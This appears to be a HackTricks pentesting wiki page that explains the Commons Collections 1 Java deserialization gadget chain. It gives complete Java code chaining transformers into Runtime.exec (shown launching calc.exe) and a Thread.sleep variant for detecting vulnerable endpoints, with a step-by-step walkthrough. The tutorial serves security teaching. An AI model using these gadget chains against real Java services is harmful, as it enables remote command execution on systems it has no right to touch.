java-transformers-to-rutime-exec-payload.md (9016B)
1 --- 2 title: "CommonsCollections1 Payload - Java Transformers to Runtime.exec() and Thread.sleep()" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # CommonsCollections1 Payload - Java Transformers to Runtime.exec() and Thread.sleep() 14 15 ## Java Transformers to Runtime.exec() 16 17 Java deserialization payloads commonly use transformers from Apache Commons Collections, as in the following example.<sup>[[1]](#references)</sup> 18 19 ```java 20 import org.apache.commons.*; 21 import org.apache.commons.collections.*; 22 import org.apache.commons.collections.functors.*; 23 import org.apache.commons.collections.map.*; 24 import java.io.*; 25 import java.lang.reflect.InvocationTargetException; 26 import java.util.Map; 27 import java.util.HashMap; 28 29 public class CommonsCollections1PayloadOnly { 30 public static void main(String... args) { 31 String[] command = {"calc.exe"}; 32 final Transformer[] transformers = new Transformer[]{ 33 new ConstantTransformer(Runtime.class), //(1) 34 new InvokerTransformer("getMethod", 35 new Class[]{ String.class, Class[].class}, 36 new Object[]{"getRuntime", new Class[0]} 37 ), //(2) 38 new InvokerTransformer("invoke", 39 new Class[]{Object.class, Object[].class}, 40 new Object[]{null, new Object[0]} 41 ), //(3) 42 new InvokerTransformer("exec", 43 new Class[]{String.class}, 44 command 45 ) //(4) 46 }; 47 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 48 Map map = new HashMap<>(); 49 Map lazyMap = LazyMap.decorate(map, chainedTransformer); 50 51 //Execute gadgets 52 lazyMap.get("anything"); 53 } 54 } 55 ``` 56 57 Without familiarity with Java deserialization payloads, it can be difficult to see why this code launches Calculator. 58 59 First of all you need to know that a **Transformer in Java** is something that **receives a class** and **transforms it to a different one**.\ 60 Also it's interesting to know that the **payload** being **executed** here is **equivalent** to: 61 62 ```java 63 Runtime.getRuntime().exec(new String[]{"calc.exe"}); 64 ``` 65 66 Or **more exactly**, what is going to be executed at the end would be: 67 68 ```java 69 ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"}); 70 ``` 71 72 ### How 73 74 So, how is the first payload presented equivalent to those "simple" one-liners? 75 76 **First**, notice that the payload creates a **chain (array) of transformers**: 77 78 ```java 79 String[] command = {"calc.exe"}; 80 final Transformer[] transformers = new Transformer[]{ 81 //(1) - Get gadget Class (from Runtime class) 82 new ConstantTransformer(Runtime.class), 83 84 //(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime" 85 new InvokerTransformer("getMethod", 86 new Class[]{ String.class, Class[].class}, 87 new Object[]{"getRuntime", new Class[0]} 88 ), 89 90 //(3) - Call Runtime.class.getMethod("getRuntime") to obtain a Runtime object 91 new InvokerTransformer("invoke", 92 new Class[]{Object.class, Object[].class}, 93 new Object[]{null, new Object[0]} 94 ), 95 96 //(4) - Use the Runtime object to call exec with arbitrary commands 97 new InvokerTransformer("exec", 98 new Class[]{String.class}, 99 command 100 ) 101 }; 102 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 103 ``` 104 105 Chaining the transformations in this array produces the final arbitrary-command execution call. 106 107 So, **how are those transforms chained?** 108 109 ```java 110 Map map = new HashMap<>(); 111 Map lazyMap = LazyMap.decorate(map, chainedTransformer); 112 lazyMap.get("anything"); 113 ``` 114 115 In the last section of the payload you can see that a **Map object is created**. Then, the function `decorate` is executed from `LazyMap` with the map object and the chained transformers. From the following code you can see that this will cause the **chained transformers** to be copied inside `lazyMap.factory` attribute: 116 117 ```java 118 protected LazyMap(Map map, Transformer factory) { 119 super(map); 120 if (factory == null) { 121 throw new IllegalArgumentException("Factory must not be null"); 122 } 123 this.factory = factory; 124 } 125 ``` 126 127 And then the great finale is executed: `lazyMap.get("anything");` 128 129 This is the code of the `get` function: 130 131 ```java 132 public Object get(Object key) { 133 if (map.containsKey(key) == false) { 134 Object value = factory.transform(key); 135 map.put(key, value); 136 return value; 137 } 138 return map.get(key); 139 } 140 ``` 141 142 And this is the code of the `transform` function 143 144 ```java 145 public Object transform(Object object) { 146 for (int i = 0; i < iTransformers.length; i++) { 147 object = iTransformers[i].transform(object); 148 } 149 return object; 150 } 151 ``` 152 153 The **factory** contains **`chainedTransformer`**, and its **`transform`** function walks through the transformers one after another. Each transformer receives **`object`** as input, while `object` holds the previous transformer's output. This data flow chains the operations that execute the payload. 154 155 ### Summary 156 157 Because `LazyMap` invokes the chained transformers from its `get` method, the result is equivalent to executing the following code: 158 159 ```java 160 Object value = "something"; 161 162 value = new ConstantTransformer(Runtime.class).transform(value); //(1) 163 164 value = new InvokerTransformer("getMethod", 165 new Class[]{ String.class, Class[].class}, 166 new Object[]{"getRuntime", null} 167 ).transform(value); //(2) 168 169 value = new InvokerTransformer("invoke", 170 new Class[]{Object.class, Object[].class}, 171 new Object[]{null, new Object[0]} 172 ).transform(value); //(3) 173 174 value = new InvokerTransformer("exec", 175 new Class[]{String.class}, 176 command 177 ).transform(value); //(4) 178 ``` 179 180 _Note how `value` is the input to each transform and the output of the previous transform, allowing execution of the following one-liner:_ 181 182 ```java 183 ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"}); 184 ``` 185 186 The explanation above covers the gadgets in the **CommonsCollections1** payload, but not the deserialization trigger that starts the chain. The [**ysoserial implementation**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java) uses an `AnnotationInvocationHandler` object so that deserialization reaches the decorated map and invokes the operation that executes the chain.<sup>[[1]](#references)</sup> 187 188 ## Java Thread Sleep 189 190 This time-delay payload can help identify a vulnerable endpoint because successful execution makes the target thread sleep. 191 192 ```java 193 import org.apache.commons.*; 194 import org.apache.commons.collections.*; 195 import org.apache.commons.collections.functors.*; 196 import org.apache.commons.collections.map.*; 197 import java.io.*; 198 import java.lang.reflect.InvocationTargetException; 199 import java.net.MalformedURLException; 200 import java.net.URL; 201 import java.util.Map; 202 import java.util.HashMap; 203 204 public class CommonsCollections1Sleep { 205 public static void main(String... args) { 206 final Transformer[] transformers = new Transformer[]{ 207 new ConstantTransformer(Thread.class), 208 new InvokerTransformer("getMethod", 209 new Class[]{ 210 String.class, Class[].class 211 }, 212 new Object[]{ 213 "sleep", new Class[]{Long.TYPE} 214 }), 215 new InvokerTransformer("invoke", 216 new Class[]{ 217 Object.class, Object[].class 218 }, new Object[] 219 { 220 null, new Object[] {7000L} 221 }), 222 }; 223 224 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 225 Map map = new HashMap<>(); 226 Map lazyMap = LazyMap.decorate(map, chainedTransformer); 227 228 //Execute gadgets 229 lazyMap.get("anything"); 230 231 } 232 } 233 ``` 234 235 ## More Gadgets 236 237 You can find more gadgets here: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)<sup>[[1]](#references)</sup> 238 239 ## References 240 241 - [1] [Blind Java Deserialization - Commons Gadgets](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)